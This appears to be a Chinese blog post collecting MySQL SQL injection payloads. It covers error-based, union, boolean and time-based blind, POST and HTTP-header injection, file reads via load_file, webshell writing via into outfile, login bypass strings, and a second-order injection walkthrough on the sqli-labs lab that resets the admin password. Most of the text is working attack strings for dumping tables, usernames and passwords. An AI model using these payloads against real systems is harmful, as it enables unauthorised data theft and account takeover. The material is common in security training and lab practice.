天天看點

MySQL注入--Payload

MySQL注入的常用姿勢方法(Payload);報錯注入、回顯注入、盲注、寬位元組注入……

MySQL注入--Payload

Mirror王宇陽

2019-10-22

SQL的注入流程一般如下:

1、判斷是否有SQL注入漏洞(判斷注入點)

2、判斷資料庫的系統架構、資料庫名、web應用類型等

3、擷取資料庫資訊

4、加密資訊破解

5、進行提權

前篇

注入漏洞分類:

數字型注入:

當輸入(注入)的參數為整數,則可以認為該漏洞注入點為數字型注入;

http://192.168.2.172/index.php/?id=8      

在後端中SQL語句構成如下:

select * from user where id=8;      

字元型注入:

當輸入(注入)的參數為字元/串時可以認定為是字元型注入漏洞

其它注入:

POST注入:注入字段在POST資料中

Cookie注入:注入字段在Cookie資料中

延遲注入:使用資料庫延遲特性進行注入

搜尋注入:在搜尋欄中利用惡意代碼進行注入

base64注入:注入字元串經過base64加密

判斷注入點

' or 1=1 #

and 1=1 #
and '1'='1' #
1') and ('1=1') #      
url/?id=1/1
url/?id=1/0      

判斷資料庫系統類型

PHP搭建的Web應用後端為MySQL

JSP搭建的Web應用後端為Oracle

ASP搭建的Web應用後端為MSSQL

MySQL

字元串連接配接判斷:

?id=1 and '1'+'1' = '11'
?id=1 and concat('1','1')='11'      

判斷資料庫的系統庫表:

' and (select count(*) from information_schema.tables)>0 and 1=1      

MSSQL

預設變量:

'?; select @@servername--+      
?id=1 and '1'+'1'='11'      

資料庫系統表判斷:

' and (select count(*) from sysobjects)>0 and 1=1      

Oracle

系統表判斷:

' and (select count(*) from sys.user_tables)>0 and 1=1      
and '1'||'1' = '11'
and concat('1','1')='11'      

MySQL注入姿勢payload

報錯注入

語句執行後傳回異常資訊,這些異常資訊包含了重要資料

floor報錯注入:

floor和group by配合使用group by的key唯一性和編碼順序導緻二次執行産生不同大的key

' and select count(*) from table group by floor(rand(0))*2 #      
union select 1,count(*),concat(0x7e,0x7e,(select table_name from information_schema.tables where table_schema='schema_name' limit 0,1),0x7e,0x7e,floor(rand(0)*2))x from information_schema.tables group by x #      

count()統計行數

floor(x)傳回小于或等于x的整數

rand()傳回0~1的随機數

floor(rand(0)*2)傳回數的規律011011

原始表需要擁有三條資料以上

報錯注入産生原因:

調用count()函數是,會建立一張臨時表用來統計group by後的行數;第一次查詢到的結果為0,插入到臨時表中,由于結果為0 再一次對原始表進行查詢,結果傳回1,插入到臨時表中;第二次查詢結果為1 因為臨時表有了1,是以直接在count(1)上加1,此時1字段有了兩行,第三次查詢結果為0 插入到臨時表的同時再次查詢原始表,結果為1進行插入,由于此前1字段已經存在。

ExtractValue報錯注入:

# 爆表
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+
# 爆字段
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+
# 爆資料
and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+      
1' and extractvalue(1,concat(0x7e,user()))#      

extractvalue(xml_document,xpath_string)從目标XML查詢傳回字元串

xml_document是string的格式,為XML文檔對象的名稱中文為Doc

xpath_stringXpath格式的字元串

concat傳回結果為連接配接參數産生的字元串

MySQL注入--Payload

我們從資料庫的注入點中進行報錯注入,得到了資料庫目前表

UpdateXml報錯注入:

1' and updatexml(1,concat(0x7e,(user())),1);#      

updatexml(xml_document,xpath_string,new_value)從目标XML查詢傳回字元串

xml-document是字元串格式,為XML文檔對象的名字中文為doc

xpath-stringxpath格式字元串

new_valuenew_value格式字元串

MySQL注入--Payload

join報錯注入:

and (select * from (select * from test as a join test as b) as c using(column_name1,...));      

join連接配接兩張表

test表名

using關聯兩張表的相同字段

聯合注入

union select * from (select name_const(version(),1),name_const(version(),1))x;#      

name_const(0)重複報錯,傳入參數為常量

# 猜解列數
union select 1,2[,……] --+
# 爆表
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
# 爆字段
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+
# 爆資料
union select 1,group_concat(id,0x7e,email_id),3 from emails --+      

group_concat(): 将group by産生的同一個分組中的值連接配接起來,傳回一個字元串結果

盲注

通過條件是否成立來判斷

基于布爾盲注

?id=1' and left(version(),1)='5' --+      

left():從左截取a結果的1個長度的字元

隻有當and後面的sql語句為True才不會報錯~……

通過猜解的方式,利用left的方法猜解資料庫的版本資訊第一個字元(環境是Mysql 5.1,是以版本資訊第一個字元是‘5’)由此推演,我們可以利用布爾的判斷特性來猜解資料庫名……

如果我們不斷的對目标進行猜解,就可以得到資料庫名的第一個字元,以此類推第二個字元……第N個字元;資料庫名的長度也可以通過length(database())>=*進行猜解

牢記布爾盲注的特點:隻有當and後面的sql語句為True才不會報錯;報錯就表示and後的sql語句不成立……開動腦筋就可以創造奇迹

ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 #      
ascii(substr((select database()),1,1))=98      

substr(a,b,c) 将a結果從b開始截取c長度字元,ascii()将字元轉為ascii值

like比對注入

select user() like 'ro%'      

基于報錯盲注

extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+      
updatexml(1,concat(0x7e,(select @@version),0x7e),0x7e) --+      

基于時間盲注

主要思路就是利用時間延遲來判斷布爾條件是否達成,本質上是利用時間延遲來進行布爾和報錯盲注的判斷依據條件;用于沒有任何回顯資訊的時候使用~

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句, 條件為假,

?id=1' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+      

ascii()負責猜解;if()負責判斷,若是猜解成立則傳回1,若是猜解不成立延遲10秒

and exists(select * from admin);      

exists()檢查行是否存在傳回true或false

XOR(if(now()=sysdate(),sleep(4),0))OR;      

xor異或,當條件不成立則執行sleep(4)

now()傳回語句開始執行的時間

sysdate()動态的實時時間

sleep()設定sql語句的執行時間

distinct傳回不重複字段

檔案的導入和導出

load_file()導出檔案

load_file(file_name):讀取檔案并傳回該檔案的内容作為一個字元串

先決條件:
  • 具有檔案的讀寫權限 show variables like '%secure%';
  • 檔案存在伺服器上且可讀
  • 了解檔案的具體路徑
解決方案:

絕對實體實體:送出一個錯誤的請求,程式會由機率性質爆出web目錄的絕對路徑diaplay_errors=on

Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,
114,101,112,97,105,114,92,115,97,109)))
利用 hex()将檔案内容導出來, 尤其是 smb 檔案時可以使用。

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain: “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代碼

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain: “c:/boot.ini” 的 16 進制是“0x633a2f626f6f742e696e69”

-1 union select 1,1,1,load_file(c:\boot.ini)
Explain:路徑裡的/用 \代替      

load data infile導入資料庫

load data infile從文本檔案中讀取行資料,并存入一個表中,

load data infile {url} into table 表名(字段)      

into outfile導入到檔案

select [^] into outfile '[file_name]';      

選擇的一行寫入到檔案中,該檔案儲存在伺服器主機上

如果達到滲透攻擊的目的~就i利用into outfile将一句話木馬寫入到檔案中

POST注入

送出表單,表單資料在背景會構成sql語句;

POST舉例:

$sql="SELECT user, pass FROM users WHERE username='$user' and pass='$pass'";      

利用注釋符号的特性,改變sql語句的限制~

直接丢上萬能密碼

admin' or '1'='1' #      
uname= admin' or '1'='1' #&passwd=pass&submit=Submit      

語句在背景就會構成:

$sql="SELECT user, pass FROM users WHERE username='admin' or '1'='1'#' and pass='$pass'"      

後半部分的pass内容直接被注釋了!

POST利用:

uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=pass&submit=Submit      

post的注入利用,其實本質依舊沒有變~隻是改變了請求的構造結構

有回顯的時候使用union或報錯注入

無法使用正常回顯的時候可以使用盲注……

MySQL注入--Payload

HTTP頭部注入

User-Agent注入

使用者代理(user agent)是記錄軟體程式的用戶端資訊的 HTTP 頭字段,他可以用來統計目标和違規協定。在 HTTP 頭中應該包含它,這個字段的第一個空格前面是軟體的産品名稱,後面有一個可選的斜杠和版本号。并不是所有的應用程式都會被擷取到 user-agent 資訊,但是有些應用程式利用它存儲一些資訊(如:購物車)。在這種情況下,我們就有必要研究下 user-agent 頭存在的問題了。

GET /index.php HTTP/1.1
Host:xx.xxx.xxx.xx
User-Agent:admin' or 1/*      

Referer注入

Referer 是另外一個當應用程式沒有過濾存儲到資料庫時,容易發生 SQL 注入的 HTTP 頭。它是一個允許用戶端指定的可選頭部字段,通過它我們可以擷取到送出請求 URI 的伺服器情況。它允許伺服器産生一系列的回退連結文檔,像感興趣的内容,日志等。它也允許跟蹤那些壞連結以便維護。

GET /index.php HTTP/1.1
Host: [host]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36

Referer: http://www.yaboukir.com'      

Cookie注入

在ASP中,Request對象擷取用戶端送出資料使用的是POST還是GET方法,同時Request對象可以不通過集合過的資料,直接使用request("name")asp按照QueryString(get),Form(post),Cookie,Serverariable集合順序來搜尋,Cookie儲存在用戶端的一個文本檔案中,可以修改;正是這個原因可以利用request.cookie方法來送出變量的值,利用系統的漏洞來進行注入

條件1是:程式對get和post方式送出的資料進行了過濾,但未對cookie送出的資料庫進行過濾。

  條件2是:在條件1的基礎上還需要程式對送出資料擷取方式是直接request("xxx")的方式,未指明使用request對象的具體方法進行擷取,也就是說用request這個方法的時候擷取的參數可以是是在URL後面的參數也可以是cookie裡面的參數這裡沒有做篩選,之後的原理就像我們的sql注入一樣了。

javascript:alert(document.cookie="id="+escape("1"))      

document.cookie目前浏覽器中的cookie的value

alert() 彈出對話框,在對話框中确認資訊

escape() 用于對字元串進行編碼

Cookie的注入原理核心在于修改本地儲存的Cookie,利用Cookie來送出非法的查詢語句

如果開發者沒有對Cookie進行過濾檢查,Cookie的就可能會造成非法查詢語句的構造

X-Forwarded-For注入

X-Forwarded-For是HTTP頭的一個字段;他被認為是用戶端通過HTTP代理或者負載均衡器連接配接到Web服務端擷取源IP位址的标準

X-Forwarded-For常見于檢測使用者的IP是否合法;

利用FireFox的XFF Header插件或者将Burp抓到的爆儲存給SQLmap

二次排序

*- 借鑒sqli-labs-24

MySQL注入--Payload

分析環境檔案:

MySQL注入--Payload

login.php:查詢資料庫使用者存在和驗證登入

MySQL注入--Payload

login.php中使用了mysql_real_escape_string()函數對使用者輸入的字元串進行處理;會将特殊字元進行轉義使之失去效果;但是~之後資料存儲進資料庫後轉義的字元會恢複原樣!

思路:
  1. 黑客通過構造資料的形式, 在浏覽器或者其他軟體中送出 HTTP 資料封包請求到服務

    端進行處理, 送出的資料封包請求中可能包含了黑客構造的 SQL 語句或者指令。

  2. 服務端應用程式會将黑客送出的資料資訊進行存儲, 通常是儲存在資料庫中, 儲存的

    資料資訊的主要作用是為應用程式執行其他功能提供原始輸入資料并對用戶端請求做出響

    應。

  3. 黑客向服務端發送第二個與第一次不相同的請求資料資訊。
  4. 服務端接收到黑客送出的第二個請求資訊後, 為了處理該請求, 服務端會查詢資料中已經存儲的資料資訊并處理, 進而導緻黑客在第一次請求中構造的 SQL 語句或者指令在服務端環境中執行。
  5. 服務端傳回執行的處理結果資料資訊, 黑客可以通過傳回的結果資料資訊判斷二次注

    入漏洞利用是否成功。

MySQL注入--Payload

在login_create.php注冊頁面中,使用了mysql_real_escape_string()但是資料還是會被存放在資料庫中……

MySQL注入--Payload

資料會被完整的記錄在資料庫中

MySQL注入--Payload

資料庫中有了我們的“小玩意”之後……

MySQL注入--Payload

登入我們的賬戶,因為我們的賬戶是以admin'#儲存的,固然要這樣的去通路和登入

前端送出user和pass後,會在修改密碼頁面修改密碼

MySQL注入--Payload
MySQL注入--Payload

就這樣我們成功的修改了admin的密碼!為啥呢?

Sql 語句變為 UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’ # ‘ AND password=’

也 就 是 執 行 了 UPDATE users SET passwd=”New_Pass” WHERE sername =’admin’

利用注冊的admin’# 修改密碼時候從資料庫提取該資料 造成了資料 指令拼接

寬位元組注入

mysql 在使用 GBK 編碼的時候, 會認為兩個字元為一個漢字, 例如%aa%5c 就是一個

漢字(前一個 ascii 碼大于 128 才能到漢字的範圍) 。 我們在過濾 ’ 的時候, 往往利用的思

路是将 ‘ 轉換為 \’

繼續閱讀